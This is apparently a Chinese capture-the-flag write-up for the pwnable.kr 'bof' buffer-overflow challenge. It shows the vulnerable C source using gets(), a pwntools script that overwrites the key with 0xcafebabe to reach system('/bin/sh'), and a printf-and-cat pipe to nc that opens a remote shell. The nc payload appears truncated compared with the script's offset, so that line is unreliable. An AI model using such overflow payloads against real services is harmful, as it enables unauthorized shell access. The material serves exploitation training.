pwnable- bof

查看程序源码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

gdb 反汇编调试
在这里插入图片描述
可以看出 gets 函数从ebp-0xc 处读取数据 , 然后让ebp-0x8 与 0xcafebabe 比较 若相等则执行 system("/bin/sh")

exp

from pwn import * 
sh = process('./bof')
payload = flat(['a'*(0x2c+8) ,0xcafebabe])
sh.sendline(payload)
sh.interactive()

然后我们注入远端服务器
在这里插入图片描述
没有任何返回 , 查阅资料发现
当程序接受到 payload ,执行system("/bin/sh") ,将继续尝试读标准输入, 但是以后没有可以读取的数据 , 所有读取到EOF 然后立即退出,

实际上我们实施栈溢出攻击时, 在exp 会写 sh.interactive() 开启交互模式 , 这里同理, 使用cat 继续从标准输入读取 , 将其发送给程序执行命令。
( printf “\x11\xbe\xba\xfe\xca” ; cat ) | nc pwnable.kr 9000
成功注入

https://stackoverflow.com/questions/54375848/what-is-the-difference-between-python-c-print-and-python-c-print-cat

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值